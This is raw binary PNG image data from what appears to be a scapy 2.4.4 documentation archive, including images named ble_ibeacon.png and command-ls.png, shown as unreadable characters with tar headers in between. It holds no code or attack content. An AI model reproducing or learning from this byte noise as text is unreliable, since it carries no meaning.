õ˜ÐÇÂÿüøážƒ#™4™¹_Ŷ‘‘ÜC2hK¦5,­÷yèx¤¸ƒŒ9­*–§N§ç€4’àpô\ôª 'ÝØÍñ\>F~Óʇg+?¦tåÏYÙŠÝÁAïFÎÓtФT"ºÑz‘TâŽyU±|èL‰#"ù˜– ÃDAZäqs¼Ì Mk€ããáø™Tæ–ב¬Ok¸šÓVCa(áÇ´ja\#8cM;‘mŸ<ŒkºíñdÃIDàø ÓÊŸ‚Å›à‚‘¼£õr\ië1®’͘×ê|XËÖpôéë+8TV8>Ž\µŒs@úëMÓÊ@ÓJˆ”Œ4z,rÐ Uæˆi•ÎîdH oiÍ ‡¡Ž<“-߯yÇï¿JmãׇË\¼Ž.¿+ɰÜk š‚Ë`‹Uãæ}dűd8JXBØ6µ8ž-}š8>Žø“Ê¢¥*º*‚ýøõ ºéL}µMzM)©#Ã)cD =Õ+òóKܱX•Ði󔩈FõºÄ)©5ª‘Å4¹P¢60¦Ý%ùrdè=áâ/ºŸò+ŽHùYﳑç‰üêS|Y_ÓUÝ6M~leP,µòä j°!jÅjZ5x™Z¹R&š†iJMZ– idv !;”\(Y/t¬£zW8¨²ñçõ÷°JÂJ¯te;W£Ìà\îÓÇl,ÒÊ1Ùõu·s„é½:m‡6í>§ÊÐûÁq!-nÇ­”mÜ9ü•€tÌapÿóÃñÍphÑàÉɟ׾9@TÓ­4ÁU€Í>à€8 p@€à€8 Àp@€8 À]FÿQ’ØÇÿŽIEND®B`‚scapy-2.4.4/doc/scapy/graphics/ble_ibeacon.png000066400000000000000000000203541372370053500212650ustar00rootroot00000000000000‰PNG  IHDRÒ$èFM ³IDATxÚíÿOW¾÷û·h8š;;õè¹¶#At´jžð> …xž=òO·ìØø™†ß¼ÒÙ×××ùÊo}Ù•¸Öùäpt¾÷ù[x9óm0øÅ«b^ÓÞ ÿÞ£H±~ÿ #¬Ð7sÑlÐ×¥d{Ÿ¨«RÆÜç>P&>|xï¯-OG‡pœ@‰îà÷ ¿]Ö|èÿÍ~ÝI­‚|”‚¯+‡ºï18:Âë–І‰žGo\»?Ñ8·þp¼~Ûø±ÇCk‡^ol™~¥Ñu§ ¯¼Iñ òi4ÿPœ¯ïõí ÇxÐß•zôÛÆ;ï^½û»'€£©©Ñ(À1B,yƒ½ÈYüç66‚ݑѫã%ß*ÁŽ;vWûE…áøŸô«¯µ(×î/>µ9Ÿ0 áxùν÷? úѾl8ðèš0r‚èhÕÿ ÂÆƒ%¼Žÿ Šú³èpîýðU0øõ¿G ßÜ5|×ñ«àhüC(z ïà ýoOT‚èˆ5#G¤¡™(6¢àøS¸ŒQd‚!Ûð¡[‘,Zn¿Ûø«à¸äz_ýê;)Èm»ööwßµ+DG­%8>Œfãgà¸üGScÓíàËrç®výoßzûäp8CƒØ{,Eò×B7w$ˆŽ6(ý«ØïŸ6ËY¯`6~޶à§è3ê•èóßîÒŸzßøjëÉáø8ôFcãûüûB֧ߢÈv+ôv$Azù6îö¯Ú"l?Gãí{­Íÿ|ðr$ÑØÄm5}³q<9ï„îL¾ Ò¯}õ‡FSˆzÿþ¯DD± ®yþ§ßÉÆÏÁñnˆ}Ër(¯ÝÚx{«9àz"8‚ަÕƒÁ¯¦'ƒ[-=†þ‰f-r‚(&ô»Phü16~ަ{Áà'/+È56NÝømÏ“ÀÑš{:šðêUüù²¸¢HÅ‚Þy'’ž†DÙúúèplÈcQOûŽ„Œô4?Ñl…è™PÃRž½×>´`}ØõëÍ8ˆD"ƒèháø-Ñz¡‡ˆh8ˆD"ƒˆÀADà "p8ˆD""ƒˆÀADà "p8ˆD"ƒˆˆÀAô/ÂñÆÜ.zã -¥g&úªŠÈà 騘c‹ßE[OhQ/<ã.|ø?¯L‘Áå_÷¯÷“ž}Zp,}±‹–ž¼/¿»sçΞÿß¾£ƒ¾ûðÒ³O zW=y_®ööö¾x~õˆàøÿ+éÙ˜ H¥¾|#ÄÿEÈúãÒÌ€¸íú[ï.M‡ý =jói\F ,^éø½\ê18E£mȶG'îóŸ½5]öÆø(=º4L:<6à ñ6´ès=DÈ}aPš¸ÄéyœüÛ#9¿ŸÁeZpÚüfùAˆ}=¼+Ê¢Q6dÛô÷8ü”Ž*k þh~$Tˆhp¼mÙEoÿJ8|hª§§÷ÏñÙ]>8‡|ÉCþG¿ÿGþÑ[ˆ™Ûü£|ö£ßûw\æ>ô1úÚ'¨cï /ð·è]àˆ*ª´±M>{Äÿø™Ž*kC˜ðü“?òÙʧNçÇwC>Bkï†øÿê¡û¾âÿI÷ü…ˆæÃ¿ ñΞ#ÒÓôk_ó_Ð=Ë<.s=À'1üvoÏõÏùG½»ÀUTiCa›îýÐ;Ì"8>³ÿ:éð}ÃñGnýñWMe‘>E£þ§ü·¸GVøÐHÏõ>Ð?ò€¦¿äocÏð§ïïöÓ_ðß`^ò. G¯XøÐëÃUTiCi;F›µñÁ>ÒÛ±sü_ƒÁðÑ]þá[=ô#þË÷? …ÞÁAªþƒ¿8ä=Bo_¿Þ#§¿ÄîÁA Î+ôÆãpDUÚPÚÃmÖ&2GéО£_•_6Ò÷\w>äƒîó¨{ƒü¶GÅ@‘ü¿GTQ¥ ¥í0Ñf 1QÑýAþkëG‚ÞÄnìëÇ®¿/ÈÛ¥/ ´0ç¥?ã¿ú8¢Š*m(m‡áˆ6Kà8(86~ÚE¿Ž¿ñiú.ÿwiÖAƒ{wZÜEnå½:ñNÿM(óÎûY8¢‹*lDÙ_‹*Kàˆ•ÙŠÐ—ÓAÌ…›΢•îÅÁú!Qo q—„ÿp‡îõö8ùàïPz)Zîù8¢Š*lDÙFp0ô޲Žƒ‚ãõÿØE¯?9ìl³øÐ<Š<îñ7'æüÁÛÝô->d™xÿ{žÿ”îE‘êÞ¶ñ´vè>ÿý»›ø¯{ö€ÄÒGU؈²Mÿ“ÿé½ßG—%pÄJÌ!êÞ:^}ç'áòÓý÷Qgþˆ“÷îñwQ÷¯>òoá™ÆÌ=!}wx/8ÂúktQ¥(ÛØó}MG•%pÄPçݾnaý5Ëç·¿ðùÆ'_~ùñ««àŸCÞüäóÛŸéÅ€äU×ç·?ß.Düâà¡ÇÁkÑ‘LÑE£l(mÓþâöÇtTÙeGÇã¢ånéîíí–³»{”ÝÕK?±=EQ…(Ûrö¯0Ktp8ˆD""ƒˆÀADà "p8ˆD"ƒˆÀADDà "p8ˆD"ѳÇ{DD{èÑzÁGD´‡^ðí¡Ñzí!ƒˆÀADà "p=£p†lŽ% ­r NF2ÄÉ”fEŠ/†Ýe…e@tÇ(¿e`gEÖMRŠevbðxÅÃ=fF}oG¥G¹³äãÕÞ­†Ç®&ýÜÚTJ¸¹éÂì ÔIr¨ÌCºÂUç Š<º š*²µþðŠ£V«í ÒúµÙº5ÅVn27»b=ò-¶ö¢Øæ†‚Õ½TÞ*naËœò¿w„3ªL;+¾U¡)œÑFÃaゥ¬¡T)ù " ïA®¶£^«ígð[§Îð\ÃÁ­ þ‚îHn: {yyÍ&ŸÕ¢¢Ù¦“§­m©¶H›ÐÐÛÛ; VfâV"}“Òa]ʬ;ů©1/e^ !{ÉÚ–hŒlOB“·ä¯¼xFøŠ—zѰ½™ &] ýTŠ U\É^²´¤:¢‹;O7m¤ÌGµR~êİ¢†r¥ƒCÞƒT‚ÉÇÇq›?Y1n®áð%˜ÑçL | êSÎUå–;ÿ¢Ú àfó{/  eåõÉÐoŽØ›(Äe¼tj¶rÔª7|†%•CX±',£ïkzå­ ¤ gôI¬é:¡A[Å ðyÆ^/†ÃŸ<ƒv›´·ëŒSñÈŒ;eÒÇñîñI 桺t…Qq+èqæ +j(U*rPác÷ —˜Op£fJòBGê8÷œÇ{À‘` »DôãÔ‹š*0•ܯÍ(²@_üj¹æZ9šã]É˰9Óz.ª5Zäl–°^JÜ?\T¡å|¢Ï}yq ëÒVPÜ…z¾P‚ƒ«êîúq9Ó¤BpZ²ÔZ=ZÖej.œá0ÇÛ°éÄ„wçÆYãèµÙÔÅ€ègê›QéÜ™a£òV”ÌÞCªƒT)(”t Òäj÷!£¶øMØWÎø™ã d2ÄÂoPm¸áÔKMGU>ëRáÜke@Ê€+q5êœañ,Ògù!¨ÖÙÝ).±‡ZªÄÙ—Ýåq•5‰+ÖäµÈÖ±L³wö¤ä}¦ó4†#?íEp€öl“{"i´SFטJ„ãC•}÷Âe¼"t®¥oò¤®%N{¶Nu‡á¨EL*‹lT±U„#ª†¸RÒA)AÚƒX¢£•v«–ÁÙ+µšìaî˜ÂjÂígŒGCëT2:M¶T«vÔÔR\ÔotÅßNû’ô¹‰ÚÔ¦ƒÉ…“Û0àó¡¡Å”’‘Z.1LY8vÀ[!ÓœD©ôC¥XèÈ\†t%çCpx“QÌÀ]õ&¢’+mJ±š·O¶(à`r2RQÅ\˜šæ ìòf²²q6Ù¨´5 ¡R¥äƒRƒ .Z1¨f@† _¤œM2v<ѧӌ(“ÒV.§%ܹí‘V¦Ã—$ð°ÂUÖûÁvú,WQëçÌÉŒoM-†B×yS†Y`MŸ„]YnÖ¢. —~w{¦#bT±U„C®¡T)é äcáJØg8¦¥}%Å Üy½ÏõRsnq]n¹7’àH(*ʹàƒJ82ÊósR&ÑùTH9ÝÄE2üUYET6òú¶$¡1”£©Œ›†ƒ/fæ ‰íÇÖŸ.Ê?=ýÉ Z”™ç”¶‚µ,홬RÜhËÖžne¡E­Î/(îRY7˜PŸ™[tºžvõé\M±:쯶5™:‹Â¨b«‡TŸT)é äcö WŸ,ÌÍ4âädQf™÷ù¾|îß\Úf• ‡ú­V›[>•+jŸÙ4ü·p!iÓÁš ›$¿UìÎ:ofmè± r‡¼Í°Š¿˜ie#[}ë³â7è ŸìÀŠãV´U°ë]ZõºÃ¶ Ë.‘ëÇ(¯TjuÉã³J¿†X]\”QÅV;îV©R¥8ù ¤cö —€ÀiXàÌúÍçæBùU–ˆÀADà "p8ˆD"ƒè˜Â±µ±±éÄ×™ÍÙdé3î(è6b9cì ˜ Q>¾Êmxe¯Ò=ö¾•_y‰tÝ¥´µˆA8@^^Eif=ºâÖŠ›¼\IÝñc´>û<Ò̓ÃYYQúRIE¥åF."z"ó0à½:®fíJº¡ JÜîÀàì[™c‘ [¹pﳭ»pè!ôh&à@9ºHËÇáÐ…ç„['9Ž Ä®|?P  :OΊ߸”;2r]›íÝŽù’]}ÎŽ‚Ã|"ûa³ÊÓp€¦6ÐŽÿBà˜“—{Âa¾x¶rÀ±®‹çA Á×RŒõuÜáÀÿÉbSÍ pŽBôŒEã)~\€/ìAÄ„àà|~ ÁW$8X_@øÿ ÇùÐ9'|ç¡5¼ h<ÙjÅ!-‡£Äç÷û!S>åZÎÝ‚}9óöXò´N·ÁÃÃS€cß“j8 7–¯)ÜU™/NCv(7»`m 'Äì[™Ýujuø(³ŠN4ˆp€¥Âlm3AÅð9µæ†½F­¡Q!Guvv;s”pœm¹œwj=Ÿ‘?ÅÊË]b޲²²ZÀ9~o‰öµÇÊ=Pa8àö‰&pHpTy}žŽL—ÇDæ-gPkd­ØûÒ\öÁ$«žZ±O'¡ BJÙ·2Òfl£qëa86Ú(ÇFÒ˜c=­ÞÊ Ölƒ'¨ÛDÜ ôd·Ù65½G ÇÕù¡4qäôÌeuËË]<‡ÃéD µÕÕZGgŒÁ𵩠ju:þ—“_* ÖjR¸ÕЗ:‰ väqrBȾ•9€ÆŠÌñ0FÕ0Ž ܬ|+sùšS¨5 ´ÈkLdpG‡rÕÝLà[ZæNqÒr¯˜Ã™gdX] ±”²Ýtöb޳6»m4m# ã‰+4Mk® U¸—Tn9†¤@3,Á–…˜Ã3v强Á1Þò@­lP¹6æ0¦9À¹N¢åÂË=ÒµtäÇþìAèɘ<¼˜T^J8VO4´#M ¬ Ó˜U•CNìhÈYC‹í¬ËK¦K;á¨ÈkC¯1 ®Ø‹Š¯Tf¢±1¼Ü ¦º¢¡¼`:ÖàEÈß]g„Ý%âmñÑpÔW^ï~…Ô‚ï‡ônȘôK˜òðÒ¿µ£ Wücô­ÜvtÅ̵RÖ„ÿ»mÆuç¶Ü‡GM€a6’F„ae1Þ õ)§« @fÄ g€+¯ o^{$!d?œyé%#ìT{9{NY4p1q€íÑ#„ƒè_€#)//÷dC@€ƒ)=]–—‹Ü¶6§2ÿŒ n%åOA[NîÙlF8›{î<‚Ú¡.Vh¸h8@WZYyãÙ’mssÓäÀ×:°Óò¯ÌlyLا®Î¬ã‹W–„úWg6„Krg žÍ,N“p¥Ë»‰î½ÓmŠíøXgçÒ ƒˆÀADà "p8ˆ‡0ÏäHO8öÐf™ zN§7@zœÀ9Vy•yEe—âRSÓÔ£€ôùq‡c©¢´Ù³ŽJ·Û9·ß8Žt9½hm­?ÃzeleÃc’& k50?b ú ¡È1„ƒ¾ ;QxÜ w%©:/7. ‡Yµ §RJª è]q À±ƒ\B”ðh;Cüäh Gîà`ÕÎÁ©8äZ_š… ;‹D û…0n“Éûø=­ Ädë‚søwÎlüØ?ñ¡ BÌqúB]uF3 §Òñ½*Â9CØ®Î5Ee— ïlÉÕ3EgÖcŽÊV <¬¸²†D8fð[ô*2µÝÆ3Ei4èãlôÛ):ŠR¯Ä$…aE€£ö²pñ< pÎBŠ*ù-Óp>EU)ï©X…v£€Ô“$[±çS9æM U.=xÞ•OUǸ†¦°5m-e¥“þVÈý†Ê6ÁÝáC]r,ùá⹇š (Açäÿ:Ô ö‚ãš)Ná–×o<ž?8,7D- ž£˜Rçhá?ZyЍ<Àì ÇðKôø8­NX% üÜÁ¡W‹¾¿ów#—ÒN¹g¥5T±ø@”J³w‡ƒ"'ð‹Iâ«âäÏC’ôØG@|×Añ'jBFGi–Äv_!]QSm`W8œíUWkd8@A)ƒƒææªz#X©¯ºb=¬£Z¯=áÞÛ|ä9T,¹v p°^ ü“•Z¾fΔR „~•·Àò×PêÅ€üVrhÏJmiÉH‘á°&¶P~’ºÒ’–ÔžÑr%å´ûŽJ¯^]È\@¤AÎëê#½}ÀéEM).yÌA8„oE I©ÑAS‡ªO59ݸÀÂeŠ©dàl>·ßÎKÀÏ­ñ ¸9áÉñâS…pî3²ï8ÔæÄW# s‡ǼšªïÕ[@i6£êÚãF£à€°#Þu”p\à` ê7Ô˜­ø SMg€/Á޶€2Ä:gaËÚWWçâ÷ùÄ*__Œßtœ~už«©¬Mèf\=WÖâ‚þó“•«f\Ú†S£}5[(쪨œpª¿õ28l8>) ÔƒBÈh¥¨è§6î€Ã§êØÇÀ ÛQ¡›Âp@ï›Ú À±®¥gÛ#päÄs²ôâÅ‹—\û…CŸe„p²¦¯°…ý–ÙT;¸Œ§,½y~_\å²ëÀìsiFH'Oš[‹¸Xo^Ë‚t˜ñÐ=œÖPêÚÉååñJŠÒnÀŸTS>ÄPŽ G ôTàá0%[1äí,ÉF ¸„¾¹bŽ*äêØÅ@ÕÜÿ;,@þBê¶âùnôi °í"†£¾ 9§Â_ÂöAÚÇp xÆ”À˜Ssz-G7<…+:¿˜Ê“"Ï¢%øspÀørýLÅ á içÈ]¤z ¹÷lês‡5u 5¡v40 ©Öç(Ï—à€sùf¤˜›Ë²0Ææ}6.ÈÓ[Ó½›Y4¬l^(-J4 8¸‚y<ëô&ìw⢴/ÀvcNÌ z[ÜtëQÀvMj5Ù9Å#;ý"¸”_°uñL”Þß\àXJJjªæ"Újð#âA!~¹/½ÿàXHMÍ8·„v9‰ œÕj³'#É*öÒ“y}TÀwÚzlrƒYš*;äÆÕÚµýw¨žh¥ê<÷©Å“'ÀqfßòÞ{ pÈöprÑH¿•è;*8PÔm3m9ž$f=±xÇ.ë‚&Fx-}d¾p‰}‡úøÁ¾óyivˆ:Ϙ€¾ èªã 'cÅwpÈöp¸R7!< Ž¢'ë¼@FÀçÏ­ìÔ¥Nc80x¡íÆ7žql‡W Ï¸ÎægûGaÇÓh.Ÿœ…¢]e2CÑs*ƒˆÀADà "pà¼7ňwÆ<-qìÓ<ξíŽAlPiõÊܵ¢r½·£¨üæSj`à-~ŠGdÑ%¥¥vqŽý·äåšÞtwTvˆwßÊ8=¹Ü¢ÊZîŒ{JÏ0L/L~Šp°E—ÜÜ|œžÀ±_Ù4S¦¶‹ž‚æþ"áG[™7 dÒšdŸÖËó-\îS„ÜlFÞ©¨“À±_]mETwt7E8„7,‰oX|ZCYÞS„ƒ±¡€†Ë:z8<>T¿ßÿŒþK èfÐç|¾/¾«]Çð³ ‡ CšýÈágZ¨KHH93ÿ,þ®ª§ÑçÍ8v"϶ÌIxôžÃdƒàRŶu«=á™üñh°@oAÃ29KÏ žü«±0•Ýv„ßÍîOĬz Ëøá|À¢_ÒǬê-¸šì†~ /Í^Ïür,Ý è)n™¨ècê.NTÕsÏ >Ý¥C~2æîÃJŵ0vÕ3iEÙ9Vȶ¤¥ÔÛ¼ ]J€N]†.íB‚¬ºì¢äB_,Ñ1I/¢˜t®oN¼.fQ½Áøõ¦gæ|ÍaŸ»ÃQŽÿãQ4;;Vp‘¦$`Î]óiVà/j ªÖLI àÂYp¨»á­ŒB'°¨ôð˜ë©ÂZ²6¬H\lÀ‘¦Ó¥öЪc9n>)Àú9Žm+öøuTdÜ`Wáá|ô${+sûì‘cGÑSl_JBRª#6à8ǰ}jT¦æÄ;ÁìY*=¡¬©Ä¿•ŠKôy+s,< w:ÀS5.(F†á.pUµëHÌBÚ¢ë(ë*‘^q¹Dàxnõ ppå—Áµ$³°½ @€†O²?jÞ“„¯&ôi9Çñƒ£lÓ´Ñ¡Z„¶Ôwè"I^´%•p5Ó7•´:Ôþ¥ÔIHà8VpTvBИ˜vMázab¢Îõ ‰µm™, 4§$hô2Ýi‰ÃÈhÆÑwrGHk8„ÈJÿ—Wx:×#æŸK¼|p1r FžêxLà ""p8ˆD"ƒˆÀADà zŽôÿ[Ê·s,ûµxIEND®B`‚scapy-2.4.4/doc/scapy/graphics/command-ls.png000066400000000000000000000157731372370053500211060ustar00rootroot00000000000000‰PNG  IHDRÿÿCæ× pHYs  šœ!tEXtSoftwareGraphicConverter (Intel)w‡ú€IDATxœìÜXuðÑ㺧ì¾ËCRlöÀMðá:"㇜žšeJÔÙ]í"jŠr—\žg‡FZ¦¬¢¤h¶ ¬ Y=Zç¯LÞPôyÜXÝ}Œ'=½§£»™Ùv–ý5ìø4Ÿ×;ßÏÌwçûçy;;3»ˆýù¤ž‚ü9ÿÛ}?ðËÓw³ßeþou%øeú¨ÍÙÑcéw;ÿ:g_áÿÅh¹uùg”M8Ë?- Í"_' êò¨6p<ñ^XH µ>u*ù‰‚´(DWº¹|Ÿ®õø¹ æŸÜ?ÿ«Ð‚âCô ‡ü+ÑÖe Š!Ï)еö˜K¾.E¹DšWKÉA©üÓûå €èŠ J÷lùWÛw½·ÜÏÿ–`„FÍ(¦V Ìÿ{HÉ´B›É¿aOqR‘¦ð÷ "zd=‘lvSù/²öã €èÞڬݧ#N|Õmºé~þ‰Êù‘äí Â1ÿ•(’iÝjæÿÍ´Qäû­ù'Ôä©¿ͧ®˜^ØHÓQù¯cvh ÑÑùoï6ýÛƒü“öglrÌ¿!Xa}~ID£ gùÏ@V•é*èü×?L<ƒÊ âU´’í‰tö63¢+¶ç߃ëÚ¨Ê&‡SÐß­Ë\4ƒp’ÿ*4zè¿“Î?1íSN&—û'·Ø;róÏ €èʼÈÿ¡uÖœÎ@•ÔMl"¹¢‘íQ¢x Š\ì´‹p’ÿÍ(j¯`ò¯E™(j<ƒ4Ô¢eU‹=ÿÜ¡Öü?òûô™i)É0ù}EÌzéoé(ŽÌfƒ"pQVlgt_Fî‚EUæ¿~J}yý\æúŸ ¦……Qù‰&¡Gÿ²AM?ÿ±æŸ;¢«p#ÿ69L~–FSßë&¿KmŸM¶¦qwùF4Ù7†þоþ-„|Ó”Wlù߈2èFSf(¹aÚVžÞPˆ­’Îÿ×Nó/L¿£¨†nµTìr¸7=Xòþàoo,.åôxzàÉìm·¶q@_v(Ķ׻ü‹*yš_‡ÀnŸôù¯Räûs8Xeç¿pSYÂCps $"uþs Õúm4ø¤ÎCù›u~ €¤Î?RÎÿ©ÃÈA¹`þ??€ìÌÇYä@øû_c'r üý¯ùrP#˜ÿëä V0ÿ7¥ž~ùr&œÿ¥ž~¡ÌÿRO ¿8 ç c g g gÒåÿøÔ…ÔbµÊà‡Á$Yþ[wWSK ¨úÑ4Dù7ŒŠŠR;ï@ÜØJ·> ýMƒ¯Ãà—ùÿð§wO]¯ÓŠçHjRÒtl–Óa{U#NØÚgÆŒøÒ«¹à+Wù7ÇD¬¿b¯JðÇ?²8©taéN·mÄ^g‹*ì9o¦€Ï\žÿëãñ½­èYŽ+s/ WÉÿ7#TW9å#Ã?÷vþøÂõõÿ¥5J<«ËVñ¸j‹p57ÿÆcÕ%5—ôL¹+àö¬ÁVúzxÃûßORñ˜ 3Só#ñ̯,‚'ÿ¥¡)`ø L†åö¼#¡à1·žÿ˜ÞŠÆçÙïƒOÎÁ£·™„+.6ÿ:lbIóÇïŒÃžeV(ù]'˜-øŸ›Ï?Ûá6Ú sùxüI³pÅÁæ?k˜õ.Aý‰Yq·Šßu&öÇ€7ÜÌÿÅÕ8¾Ó^é§ã ß;©XlþµØ‹Ô§ÇµâÓÌŠ»âw‰uYð?÷ò_‡ÿ®ÙV|»W¾|I¸âbóo\ŒaÁIË«í_„ñ»N„ë wòßþ,™od óîX<å‹`ÅÇ}þs*ÿ‰ s˜)ãŸï¿¿7Â÷#Às®óµx>÷¤­:ý$½Õ$\ ÀæÿÌvêôÞ¹c̽ÌWiÿÄ ¹=ë°l¹Ìÿ±tÿÒòÕÉ•—7‰IWülÙDÂ.0aZü/ÃD\Uš¹¸ÅXÓL‰^¹¨çpc.~mpê „]`Â,´ø?5Æí-\"tbÍDŠ»VX{&þìDØ&ÌBƒÿmq™§°Ri+:±y8Í'ªNl Þ12³—@5s-˜°ü?‰e­1™J[Ñ©%=FÜ»èÕiv›šsg¬Tá‰EDƒÿ[±“eE)·é ~œ9¢§êt{˜tÁèÜŒ} Œô¿Ä¢ ¢ÁÿœgËqT´s15l4ò”§~ 7!÷ÿ!ìæÜÿjÄ¥¤¤ At”ÃÉJüYô¼‡“Ö"ìæÜÿ%Èœ6mÚPˆçß):Õ`µXdMÂ.0aÁýÏpòÁò&ˆƒME§CXÁNzÌÖ©õ;ÿó-˜°AýÿYÊà“/ð<Ÿ(:Õá…ãØb²NžüÁß|Ë&,H0ÿkžAª›±ïK1`ùÍ+ËcÑAÆîĥ̿~Y9 Ó×›–¼åg¶u$˜ÿE ½ÕD½êʯŽßËs·9ðXó71›w&q¶«ÚÏ\ &¬Ç=ÞÿÕTf_¡»À„!Ðý„!ÿ ;Cþv†ü'ì ùOØòŸ°3ä?agÈÂÎÿ„!ÿ ;Cþv†ü'ì ùOØòŸ°3=ö¿ý'ùå—åÓŸ° L„`þÏ%ó'¬>Æ;¼œ~úæÉ“gÍ‹kg& i鹸MìÕ4±fÎòÓæìˆã¿ú“ [‚ù¿" çåõ‡ãïL)§Ÿûk}6#–ñ¥ÿŒ‰Êy*$¼ÈÜS›——•ˆ¨×MÚÃ×}ß¹×·NÙ Ã :þ©ÂVÆÚ%9ªxO-§\¡Ô=(%—'…¬cÒ8>oß@gÑ;áCÈ·:ó}ࢫ=OM˜ƒ6ÿû*.‰WPöÕi²t‚Oš]tbûð;C÷ +!ìA¶~i sÑê?[!Jæûèô žQÖ©Ä*Ö¡ë—lPvÿõÿu ì9òþ9¥q¦þÆk•ùçëëQ/Ó$ºrë|§·5~p@ü@v¹þL+k?³¯c¬ä9ýÑ[ß<@O^²šýÿÓY–ª5–Ù­µüq*ªNm±# I¨þ¿>·Fó5ãGp¸'Ƚ4þÙñ%¼ â«58xs«÷]2åžs]c×"€ü×úʽ?*‹¶ äkFH‹tØuB74ûÏa\§kÍ2ë…NÓp£ó¦TÞÄC’ªÿ¯KàRŒïк˜Þ²ò •¿TìYý™ I¨þ¿?—¦Ü‘''"'òëåH⣖cé-|a×ñM‡ÿùþGÑ6 ‹Í‹ t›±‘wJâ °ð^ö•ÚýÏvx¸NÅ¥2YB§¤}6%Iññ±Àƒÿ6*»ÿúÿzž‰³bZŠŒû¯ ´Jð!Ÿôÿ ”k MQ9bóà(•gm¼ƒB^·íÍsÝÜI"¤h÷ߕĺ §s>µÔ¤¾ËÞ½fTôèxX’2݃¿1î¿ðžíUžªÐÿí¨TcâÄæâ¯Ç°X¼i>·ì£æžì¡;šý¿.e±.:⤺ÒYþ°-ïé“Ñ#p”zdqXüçí­š{J¼ôÿOØ­4¦àzÇæUÿåãñ ¿ ù¢»FèŽfÿ7‹ß²NÛQ¬¬s\ü7i1ÿ{xt´R-±o0îÿk¢W­ åUÿÏzÔ•;üßõ\O’87äãÿ·o·Ë¯WÞÒ‡êZ ­þÿ”Ü‹ŸðöÑ©55ú²Xg v0ãýPÿ_À ð1}üœg9”‡©ÎPNŸz0™ñ§,©+wøQzX Чëâÿõ3äCªÀn)4úÿãD,ç=ßË©»Î/ïœëÿWÍ`ÿÕÿ×#pcï_É“2倶?¯³Q}¤ßÂ?¼Wþwþ§‹åcòoS"ø›}ýŸƒâr] ;=@h ˜ÿ•S]\”ãÄ<ù7ë-§¿n2¦½Î—V8•î\ÓOÚÃØ'%ŽÄ%Ç L þ¿>«"bŸ[›‰4qµ¶½æ¬ÍÂpåÕbrùÜè~AøÒ²ââ_\¼Š†nf`ü+ äÁU{Y±#±¸Ò³ê7Y²ŸûAÏnX‰ÜvÝÿ%ˆ{'˜ÿÄÉóاÞà¿6µœþí$yÖX±x÷(0±Vn=/7¤FF÷_ÿ_§ÀuÙÑHZªŒÕËQ5ljA%·Ôež¢H8ž<Å›{#ÕË ± ¼Ûü’ ‘~&·®'ò¹ã¿ë#¿:–0¶Êµ]N&%—yüþ8Â$z|ÿKÓÑë¡K ´nîø¦?ÿãù¡ó²– 5nò¿¤ý†ü7ÑHg?­ÝÿzjØý ùòÿþ…üùÿBþcÛèþ:î°Ù1ˆ@þc×ãÙÙÙSjÍŽA„òŸ°3ä?agÈÂÎÿ„!ÿ ;Cþv†ü'ì ùOØòŸ°3=õÿ¿«)œ¾Óv‰PÒ­úÿMRGòÇ秦¦­æ3ªGE ~Ṅ-æ„÷GØ&̤[õÿo<=Î+Œ­ƒIüΩH^ºòqIÂJ³âßMØ&̤›õÿ ÇsjP/¿uÌà‰=–Ò)ì&ÒÍúÿ…)/Œa^^Æ×b•y–Ò)ì&ÒÍúÿ…)GqÊ«S‘ZN|¯ÿB$!GKýK&,G7ëÿ¦°a/zuÚ§D„Öf<H[ý &,H7ëÿË:• jUuj{ ®¿1ë\¢¶úÿ LXnÖÿ—ujp|ªêÄ~žã¢r¶™RÒI[ý &,Hÿÿ ÿÿìklUÇOw[(%¥P)…b#ÕhŠò¡±^BBX#`i-¨HR”( ¤€¦T¡"yX+"V B „-,B©},´ôÆ/òAÆ™;³°SfÊîcº÷ÿû°3gæÎì™ä—Ýyìžs¯úÿ’N,ÕáÖ‰±ª‚éIDéõOœyWÿßR Ëa²þ¿¬SAdÝmdNŽ¡Y͹}:\ ˆ˜¬ÿ/ëTY èäR{™\ï£ÿQ:\ ˆ˜¬ÿ/ëÄ©ŠN³Hmî™CÇ·1.aDLÖÿç:}¶Žëä Íʘ×(÷½ªÿo¥„õ0YÿŸëÔÒ+EÕ)Ž7…®ˆ„̽«ÿo¡„1Uÿÿú‚äè9ŒÍ#U'êüòúÍoEw*3~¿áMýK% ,ˆ©úÿU]‰ì«NŒ“káÏŒÛ9R^;¬Üp÷þÄ‹úÿÖJXÿóÿ—F'cõåß^õsо£Ã% ü þÿDþ‘ÿ@dà?øDþ‘ÿ@dà?øDþ‘ÿ@dà?øDþ‘ÿ@d|ìS;Qi¾ìÕ{–»j­i§øU“aBSý/îɕؕQnL³³õŠ–µÉáÔ}|©îL ïùŠûïîÅ©])êÉ"ƒ-5 k„&¦ú_ÜÍÑjM8“æÜ ÎDR­_rnŸëOSRÖ’©l…<ÜlOÈžÞ¿†«(jÂ’iÝhœnùmšc!ŠÉþmh±ñˆê摇3%‰ÿçS¶ü)~61â”4)³ ¨cì {ª¼ªÌ[%M®M¢E:jÖ ULö¿hƒ‹Rïól4â¶3ÎXJx0(þ?Ô]ùpßHòù‹ÃÆ«- é5—VóUM½{ܵ™6aͱ€ÐÅdÿ ‰s[4(s§ËÒàr åäb{Îw‡n;S?7¯!ÝÏþë÷¿ˆï©\àÑR)YÛD8m˜Üÿe2ÆA•m7Ó&¬9º˜ìÁœ)DdWþˆ=Bnâ݃µÎø×£þ‹i™<©}¢Ë¹ãÅeé°éåÚç×”ÈA§ô6Õ$ ÿEÀdÿ‹³1á nI£¤ùŸ¬Í§‡×J|íHÿú_´äE§¬(̉qL –R±²t*yT=qõ‰Ö9™ƒÿb²ÿŘ0Ùõ›ÚÁ—iÎÿY`ý7êÁØáHé;)>Ô"¡9tä΀\ƒþwð_8Ìõ¿8A>_Ói$ŸÓ£þM‹#§ìXž”¼O ^¤Ÿ•¥YüXa ¥è÷@‚ÿÂa®ÿÅFúX DóIpý×ÇA[ä‰k¬­X¾Ø«,}ž.¹¬ëwYwKø/æú_,£­ÊÒg‰_IZÐÿJš¬Ìü6б ¤>·KŽR×·.¢Gõ §Ã1×ÿb;½£,í­ÜòQý¯pŸNXÀÿ/)Wë•ÀØqJãó'I9acMSh”aýOø/æú_TÙá¿ÙEÊmu —^ÏÓlup@ý×ïá¤ñÊL¿a;:ì´̧í|áÅ¡”åù£$í>à¿p˜ì‘E¯KWgú…ÿ¤¬íÛM²écr߈¤ÿFý/FÿáOÃ3¼ÙË"}9í·?ÆŠ•&Ø×ÉÓý“~ÕÛüSý/ûm0 y{fwÛjuõ\¾tzçXÞU¥4;s2=ž™©üPè½Ì̾4#ó þÊÜ 